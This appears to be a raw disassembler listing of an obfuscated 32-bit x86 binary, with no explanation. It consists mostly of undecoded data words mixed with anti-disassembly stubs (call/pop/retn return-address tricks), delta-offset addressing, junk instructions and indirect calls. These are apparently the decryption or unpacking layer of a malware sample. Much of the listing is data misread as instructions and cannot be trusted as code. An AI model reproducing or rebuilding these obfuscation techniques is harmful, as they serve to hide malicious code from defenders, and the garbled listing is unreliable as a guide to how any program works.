		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 76C35646h, 890A2B80h
		dd 0E92141BDh, 3195FF07h, 9007E90Ch, 345678B8h,	53006A12h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0D40022ADh, 3FDECE81h, 9D8D3223h, 7ECF5FEh, 0FFF98CE9h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 85DDAE2Eh, 0EA474BC0h, 0FD9D0995h, 8B07E908h
		dd 6AC18BF9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0FA89C351h, 8D893E81h,	7E907DDh
		dd 4EBh
		dd 0B5890000h, 7E90289h, 1A9D9D89h, 858D07E9h, 7E90861h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B8C35747h
		dd 329E8770h, 49BD2B8Dh, 8907E901h, 0E90E3DBDh,	0CE99007h
		dd 81000000h, 60C0B431h, 0BA797319h, 501D2BB9h,	0D8D0Fh
		dd 52500000h, 6E3EBF66h, 8B66310Fh, 90585AF2h, 1B558D89h
		dd 6A07E9h, 0DEF78166h,	6A006A2Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 71F4C355h
		dd 5D557219h, 0B58B1569h, 7E91991h, 0F1B70F51h,	0FF858D5Fh
		dd 6A07ECF7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FFCC353h, 1589h, 10E900h, 511A0000h
		dd 8EEB87F3h, 0D6548CC4h, 0CC95C304h, 9E9FE7Eh,	98000000h
		dd 0E695FDA3h, 0B2DC8BCh, 0BF05C083h, 60916DA5h, 8E990h
		dd 77350000h, 0E0E00893h, 90502708h, 25F9B589h,	6A07E9h
		dd 800F006Ah, 19h, 10E8h, 37563600h, 4B21A715h,	51B001D6h
		dd 97DC9EC9h, 0F78B6624h, 0B995FF5Eh, 6A07E90Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 81D3C350h, 51E7BECEh, 2C9D8D7Dh, 6007ECD7h, 8ADE8B66h
		dd 0D3FF61CAh, 85FFFB8Bh, 7E90F9Dh, 12BB3EBEh, 0ECCE91Bh
		dd 0E80000h, 5D000000h,	0F809ED81h, 6A07ECh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 4D051BC3h
		dd 0DDBD8BD3h, 8107E916h, 0E92AD1BDh, 7D007h, 43860F00h
		dd 66000001h, 9D8BFA8Bh, 7E9181Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0B4C35141h,	0F88B66EAh, 0E381FA8Bh
		dd 100h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	0C4C35646h, 0BCF87AEFh,	0ADB58B9Ah, 0B07E91Eh
		dd 7B850FDBh, 0E9000000h, 8, 0A7C30E0Eh, 69EC9A8Fh, 88BD83F8h
		dd 7ECF6h, 32840Fh, 0E9600000h,	0Eh, 1C479D2Bh,	8102D994h
		dd 897B9476h, 0BD0B1838h, 7E90B2Dh, 50E961h, 800F0000h
		dd 0Ch,	0F6816660h, 0E0BBEC37h,	6137DE1Ch, 0F68885C7h
		dd 107ECh, 0B58B0000h, 7E91935h, 29E9h,	0FE8B6600h, 10E8h
		dd 0D7933400h, 0B87DF66Ah, 9D07D9Eh, 4536B865h,	85C75F42h
		dd 7ECF688h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+7E934D9h]
		lea	ebx, [ebp+7E9181Dh]
		push	0
		push	ebx
		call	sub_5C36FB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C36FB	proc near		; CODE XREF: sdfs____:005C36F3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5C36FB	endp

; ---------------------------------------------------------------------------
		db 4Fh
		dd 0BEF30539h, 7864FE87h, 0FEFF2381h, 6AFFFFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 8FB20AC3h, 2E4BD9FFh, 1855BD8Bh, 8C6607E9h, 11E8F5DBh
		dd 26000000h, 0C2CB6678h, 0E336EEC0h, 0DB664898h, 6E25D64h
		dd 0BE8h, 0D4173300h, 1DDE930Dh, 0B652650Bh, 2AC99D29h
		dd 5F5F07E9h, 0F04C3F6h, 5E84h,	5E900h,	0A5FC0000h, 0FF3CB1C6h
		dd 0E9005995h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0D915A9D2h, 3D8589A1h
		dd 0E907E901h, 7, 3104AC40h, 506A7FA1h,	7E8h, 0D969C900h
		dd 765B778Dh, 950EFFBEh, 4895F7Fh, 998D8924h, 0E907E921h
		dd 54Ah, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 15h,	5BC35343h, 0D5B503B0h, 0B007E900h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 6FA4A4CBh, 8362F16Dh, 18BF6642h, 0E970E624h,	0Dh, 0A9286687h
		dd 24101CA3h, 8279EBD8h, 6A71E4AFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 4926C353h
		dd 185DBD8Bh, 0BD2907E9h, 7E91535h, 31D8B60Fh, 0E9316D8Dh
		dd 0BE807h, 5C340000h, 0A55B9C1Bh, 45B67BCBh, 19BD33C2h
		dd 5F07E916h, 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B509E29Ah, 7E92E95h
		dd 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 90BFB8C3h, 268951F0h, 2D4DB529h, 0BD8B07E9h
		dd 7E92EE9h, 6A04E8C1h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0A406C355h,	11E931h
		dd 229B0000h, 7EDAC0EEh, 888B8BFCh, 0BE41B53Bh,	66DC6D70h
		dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0B23D7BC3h, 8C0F2198h, 6,	2C3DBD8Bh, 0D82B07E9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 13C35646h
		dd 5A11EAEBh, 8B0F6050h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5C3980
; ---------------------------------------------------------------------------
		db 5Dh,	80h, 0C8h
		dd 3276EB1h
; ---------------------------------------------------------------------------


loc_5C3980:				; CODE XREF: sdfs____:005C3974j
		popa
		mov	[esp], ebx
		push	0
		push	ebx
		call	sub_5C398F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C398F	proc near		; CODE XREF: sdfs____:005C3987p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5C398F	endp

; ---------------------------------------------------------------------------
		db 0E5h
		dd 0F5D8C5Bh, 684h, 0B5BD0300h,	8907E91Eh, 0E934E1B5h
		dd 0D1B5FF07h, 6A07E92Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8963C350h, 0E90C2185h
		dd 3195FF07h, 0F07E90Ch, 0B0F6B7h, 6A70E6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 280296C3h
		dd 0E46D4825h, 7A1BD8Bh, 71E407E9h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 53C35646h, 25ADBD89h, 8D8907E9h
		dd 7E929A9h, 830F613Ch,	2E6h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 2DC35545h, 0E681745Bh, 4CB9C363h
		dd 1E4D9509h, 0B60F07E9h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 7A183783h
		dd 2E0315FBh, 295039A9h, 0E929E1B5h, 6BA5F07h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0A183C350h, 0CD410219h, 248D9531h, 0C38B07E9h
		dd 0F1DBD8Bh, 0E8C107E9h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 40468346h
		dd 813E21F0h, 759372C6h, 0E2F7663Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 15C35747h, 0A9934614h, 0D30AEFD4h
		dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 4F505CC3h, 7C637014h, 11E84Fh, 7ADB0000h
		dd 0A725E15Ch, 0D3AD3B1h, 113C9EA9h, 5EF9FC94h,	58F1B70Fh
		dd 8860Fh, 810F0000h, 2, 0D82B6160h, 1B0880Fh, 0BD8B0000h
		dd 7E92B5Dh, 7B9h, 28E0F00h, 8B000000h,	0C183FAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0B5C35141h, 0F1B70F27h
		dd 860FD93Bh, 172h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0FAC35545h, 0CF81105Eh, 0EBD762Eh, 0CE9h
		dd 0D63800h, 0E6EEB078h, 0E0171F47h, 0D98C66D9h, 0C1F6FA8Bh
		dd 4840F04h, 6A000001h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0F68FC350h,	820ABC88h
		dd 5995FFh, 8B6607E9h, 6A5BFEh,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 2B8F07C3h, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 6634DFE8h, 0BE52F88Bh, 337EA122h, 0F5BD8B5Fh, 3D07E90Eh
		dd 834h, 81860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0F69DE8C3h, 0BE66298Eh
		dd 83E99B7Eh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 899EC356h, 0E913A5BDh
		dd 7E907h, 72960000h, 8F4FD11Ch, 12E8B2h, 0DCDC0000h, 5F0641EDh
		dd 391406B4h, 85A922CCh, 0E1A13BD4h, 7E8h, 2150EE00h, 0E31E249Eh
		dd 0B7DD3ABEh, 8B5E5F57h, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0DB8D755Eh
		dd 962D1545h, 0FAC0C781h, 0C38B0BBBh, 6AD88Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 9656C7C3h, 27AF56FEh, 8923AA8Ah, 0E902B1BDh,	0D985C707h
		dd 5107E91Dh, 6A37CA5Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 3F68C351h, 524A6432h
		dd 0F0FC3D55h, 20319589h, 0C08B07E9h, 81F7B70Fh, 0E92AD1BDh
		dd 7D007h, 2A850F00h, 89000000h, 0E9089D8Dh, 0D185FF07h
		dd 6A07E92Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0F96AC356h, 0D1B5FF9Ch, 6A07E92Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FF78C351h, 0E90C3195h, 6A409007h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 1F58C352h, 0AED2773Eh, 9D897399h, 7E90045h, 0C62EC9BEh
		dd 95BD831Fh, 7E926h, 8F840Fh, 0BD8B0000h, 7E909ADh, 26A9BD83h
		dd 0F0007E9h, 7C84h, 95BD8900h,	0FF07E916h, 0E9269595h
		dd 0F1BF0F07h, 0BF78B66h, 62840FC0h, 0F000000h,	68Dh, 218D2900h
		dd 8D07E90Bh, 0E94D5A8Dh, 98D3107h, 0B807E91Eh,	5, 0F38B6660h
		dd 8B0F51h, 5F000000h, 6AE1FF61h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 72A9C351h
		dd 751C645h, 0EE960FBh,	20000000h, 0FA4476B1h, 0AE3E243Eh
		dd 316D3ADh, 49BD8321h,	7E926h,	5A5840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E9E00DC3h, 12h, 898E9666h, 19CBF3D5h, 363FCC04h, 3E1B5682h
		dd 0BD832F5Bh, 7E926A9h, 64840F00h, 0E8000005h,	5, 6F941A54h
		dd 5EF78B1Dh, 0AB18D8Dh, 8B6607E9h, 8401C7F9h, 8944B27Ch
		dd 0E9263985h, 0CB018107h, 6A1499CFh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 338EC351h
		dd 6CBE660Fh, 0E381BFD1h, 41C77A8Bh, 706B3404h,	6DBD8BCEh
		dd 8107E926h, 0D7100441h, 0BD8B31D6h, 7E91261h,	6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8D7828C3h, 0E90AB185h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 92F9D8F2h
		dd 0F98BD9C9h, 28E0Fh, 0FE8B0000h, 13E3BF50h, 4896DFCh
		dd 17CABE24h, 95FF2822h, 7E92649h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 23C35747h, 0F8025906h, 0AB18D8Dh
		dd 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0E027C5C3h, 0E6B91FC9h, 1C7E8h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0EDB5C350h, 0A17723C0h, 441C7h, 0F000000h
		dd 287h, 0BF28B00h, 0B9840FC0h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 1CD3C355h
		dd 87CAE560h, 6249DC98h, 13E9F5h, 2FAF0000h, 7BB15F29h
		dd 0E73F0334h, 0C2A45910h, 1DEB0C53h, 5A8D8DB6h, 6A07E94Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 26BDC353h, 2271B533h, 816607E9h, 0B89A5EE6h
		dd 5, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Bh
		dd 0ADC35242h, 2B79E2AEh, 0BF3DEF5Dh, 42DB5266h, 6AE1FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0C64297C3h, 0AB18D8Dh, 6A07E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8BB34AC3h, 0E92145BDh
		dd 7C01C707h, 6644AA72h, 181F78Bh, 1499CFCBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 64C35545h, 0B401F2C4h
		dd 0BD012C10h, 7E91641h, 3C0441C7h, 89CE7875h, 0E930819Dh
		dd 4418107h, 31D6D710h,	6890Fh,	85290000h, 7E91CE5h, 1EBE006Ah
		dd 8D77DD57h, 0E90AB185h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 666090E0h
		dd 500C11B8h, 615B5B51h, 8B669050h, 4995FFF2h, 8D07E926h
		dd 0E90AB18Dh, 0C7F18B07h, 1, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0FF6E19C5h
		dd 0E7555CAEh, 8BF8B70Fh, 0E923BDBDh, 68E0F07h,	1000000h
		dd 0E923ED9Dh, 441C707h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	loc_5C42B5
		mov	di, dx
		lea	ecx, [ebp+7E94D5Ah]
		jmp	loc_5C4246
; ---------------------------------------------------------------------------
		dw 73C4h
		dd 3B021BBAh
		db 7, 0B5h
; ---------------------------------------------------------------------------


loc_5C4246:				; CODE XREF: sdfs____:005C4239j
		mov	eax, 5
		push	0
		push	edx
		call	sub_5C4256
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4256	proc near		; CODE XREF: sdfs____:005C424Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5C4256	endp

; ---------------------------------------------------------------------------
		dw 9168h
		dd 85890A7Ah, 7E90801h,	9E8h, 0FE899900h, 0CD317867h, 0B58B7778h
		dd 7E90881h, 6AE1FF5Eh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0F262C353h,	0A766DC3Fh
		dd 0F5BD2938h, 8B07E908h, 0E91611B5h
; ---------------------------------------------------------------------------
		pop	es


loc_5C42B5:				; CODE XREF: sdfs____:005C422Aj
		lea	ecx, [ebp+7E90AB1h]
		push	0
		push	ebp
		call	sub_5C42C6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C42C6	proc near		; CODE XREF: sdfs____:005C42BEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5C42C6	endp

; ---------------------------------------------------------------------------
		or	ecx, 14745DEEh
		push	esi
		push	ebx
		sub	[ebp+7E91585h],	eax
		pop	edi
		pop	esi
		mov	dword ptr [ecx], 54CA95A5h
		push	0
		push	edi
		call	sub_5C42F7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C42F7	proc near		; CODE XREF: sdfs____:005C42EFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5C42F7	endp

; ---------------------------------------------------------------------------
		pop	edx
		or	edi, ebp
		sub	[edi], ebx
		fldcw	word ptr [ebx]
		mov	di, 4F0Dh
		mov	edi, [ebp+7E91EEDh]
		add	dword ptr [ecx], 1499CFCBh
		push	0
		push	ecx
		call	sub_5C4329
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4329	proc near		; CODE XREF: sdfs____:005C4321p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5C4329	endp

; ---------------------------------------------------------------------------
		sub	eax, 441C728h
		imul	ebx, [ecx+5Fh],	0CE8166CEh
		mov	esi, [edx-77h]
		mov	ebp, 7E92A5Dh
		add	dword ptr [ecx+4], 31D6D710h
		push	0
		push	esi
		call	sub_5C435F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C435F	proc near		; CODE XREF: sdfs____:005C4357p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C435F	endp

; ---------------------------------------------------------------------------
		mov	bh, 9
		retn	9A06h
; ---------------------------------------------------------------------------
		sub	eax, 6A3FD5h
		mov	[ebp+7E9000Dh],	edi
		lea	eax, [ebp+7E90AB1h]
		push	eax
		mov	di, 4507h
		mov	[esp], eax
		jge	loc_5C4399
		xor	esi, [ebp+7E925F9h]


loc_5C4399:				; CODE XREF: sdfs____:005C438Dj
		call	dword ptr [ebp+7E92649h]
		push	0
		push	eax
		call	sub_5C43AA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C43AA	proc near		; CODE XREF: sdfs____:005C43A2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C43AA	endp

; ---------------------------------------------------------------------------
		dw 33DFh
		dd 0DED0BC8Eh, 8D8DD13Ch, 7E90AB1h, 0C7FBBF0Fh,	1, 56BE6600h
		dd 2DBD239Fh, 0C707E901h, 441h,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0FC6572C3h
		dd 840FC00Bh, 6Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 8AC35242h, 0C757B43Eh, 0BEB97BE4h, 5EC691F2h
		dd 2F51BD8Bh, 8D8D07E9h, 7E94D5Ah, 0C79BD33h, 5B807E9h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 46DBC355h, 2200E068h, 0FF0A0D55h
		dd 70DE81E1h, 31489A0h,	0F144E9CAh, 8960FFFFh, 0E90709B5h
		dd 6123B307h, 0C958589h, 0C18B07E9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 45C35141h, 258529E9h, 0EB07E909h
		dd 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 66EB93C8h, 0FC3506BEh, 861858Dh
		dd 958907E9h, 7E91B19h,	52506050h, 5A57310Fh, 6652585Ah
		dd 6159F28Bh, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 42CEC353h, 4F102D17h
		dd 0B46025D4h, 0D5858952h, 6107E930h, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0C244FEC3h, 0BF668333h, 6A6DCDh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0D9C35141h,	9EE6F0Fh, 0E929EDB5h
		dd 0DBEE8107h, 8D046477h, 0ED08CF85h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 4B96D67h, 94BE6660h,	0D2BF0F07h, 6810F61h, 33000000h
		dd 0E90CDDBDh, 5C08307h, 0BE9h,	90244800h, 0AA7A31AFh
		dd 5269C073h, 8950F08Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 7FC7B8C3h, 0EF4E9D30h
		dd 3099B58Bh, 6A07E9h, 6A006Ah,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0EE097BC3h, 0EAA7D681h
		dd 95FF712Eh, 7E90FB9h,	6E8h, 3B48A00h,	8B4B35BFh, 0E907BDBDh
		dd 9D8D5F07h, 7ECD72Ch,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 91C35040h, 0A4BF948Ah, 0FF103906h, 57006AD3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F6CC696h, 85FFF0BFh, 7E90F9Dh, 0F0FD9BBFh, 8FCE908h
		dd 0E80000h, 5D000000h,	8D9ED81h, 6A07EDh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 5F539CC3h
		dd 2AD1BD81h, 7D007E9h,	860F0000h, 158h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 37C35545h, 2F45BD31h
		dd 9D8B07E9h, 7E911B9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 2CC35343h, 663E7308h,	0E9D1DBBFh, 0Ah
		dd 811F61F8h, 8FEA4169h, 0E3812A27h, 100h, 0E5BD0952h
		dd 5E07E91Ah, 850FDB0Bh, 81h, 13619D29h, 0BF6607E9h, 0BD832B2Bh
		dd 7ED06F7h, 2C840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 82FAC357h
		dd 0F6BF0F72h, 6AE9h, 7DB50B00h, 0C707E91Bh, 0ED06F785h
		dd 107h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 6478445Ch, 66383ABFh, 69BD3325h
		dd 6607E92Ah, 4160E781h, 26E9h,	0F785C700h, 7ED06h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8D8CC350h, 0E911B99Dh, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD33EA52h
		dd 7E90261h, 0AD9589h, 238107E9h, 0FFFFFEFFh, 0D5BD8B60h
		dd 6607E91Dh, 6183D6B8h, 6ADB8C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F6CFC353h
		dd 840F04C3h, 0A7h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0A5C35747h, 54F50C65h, 816842D9h, 5958BDF7h
		dd 14E84Bh, 0B72A0000h,	6636AB86h, 0C9B98869h, 5DE1A436h
		dd 75A081Dh, 0B58B87BAh, 7E93209h, 5995FF5Eh, 6A07E900h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 81BFC351h, 6B32A409h, 0B58B4E85h,	7E92EFDh
		dd 0EE850h, 0C7EA0000h,	0EEF5841h, 27205FD2h, 406FC1D5h
		dd 890F5250h, 0
		dd 585A310Fh, 2404895Fh, 244DBD8Bh, 816607E9h, 0E938F7CFh
		dd 425h, 1D619D89h, 0B007E9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 33C35747h, 0AE6E069Eh, 0BEC45B1Dh
		dd 4C3BD3B8h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 681030C3h, 0C956C01Ah, 0FA8B7865h
		dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 18FE80C3h, 20C2EB6Bh, 0FB1B960h, 6AD8B6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0BBEAB5C3h, 5CE7FB9Ch, 1649BD23h, 0BD8907E9h, 7E91339h
		dd 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 6FF06E70h, 0FCEF96B9h, 0C38B118Ah
		dd 34CDB58Bh, 0E8C107E9h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0F766F941h
		dd 55006AE2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0B74ED552h, 6AD82BCAh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0F468C351h
		dd 0E200A0C0h, 79BD2B8Bh, 9307E910h, 830F5750h,	0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edi
		push	eax
		mov	si, 0BA1Bh
		xchg	eax, ebx
		push	0
		push	ebx
		call	sub_5C4A5F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4A5F	proc near		; CODE XREF: sdfs____:005C4A57p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5C4A5F	endp

; ---------------------------------------------------------------------------
		db 5Ch
		dd 0DE8h, 4CF16F00h, 0E2F58A48h, 367380EEh, 0BD894ADEh
		dd 7E90259h, 2195895Fh,	0FF07E91Fh, 0E92AD1B5h,	31B58B07h
		dd 0FF07E930h, 0E90C3195h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 66B99F32h
		dd 0E8E590BAh, 9, 0F9EF591Dh, 96A80AFh,	0B595295Fh, 5F07E90Bh
		dd 2CD1BD8Bh, 0B007E9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0BBC35747h, 62C4D450h, 0FB0BF18h, 71B58B57h
		dd 5F07E91Eh, 1209B58Bh, 70E607E9h, 61BD2360h, 6007E924h
		dd 1F19B58Bh, 13E907E9h, 44000000h, 435BD272h, 0BD5C56ADh
		dd 6559830Fh, 456C588h,	6161A443h, 336071E4h, 0E92CC1BDh
		dd 6880F07h, 8B000000h,	0E908C585h, 613C6107h, 1BF830Fh
		dd 0BD090000h, 7E91D31h, 0BFD8B60Fh, 751781B9h,	1E71BD01h
		dd 6BA07E9h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0EE0AC351h,	1858918h
		dd 8B07E90Fh, 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 302B3626h, 0E9599BA9h, 0Fh, 0EF11191Eh
		dd 796F3041h, 212FD7FEh, 8960B343h, 0E90AA1BDh,	4E8C107h
		dd 313DBD89h, 0F76607E9h, 719589E2h, 2B07E929h,	58F38BD8h
		dd 880FD82Bh, 125h, 0DEE1BE66h,	7B9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
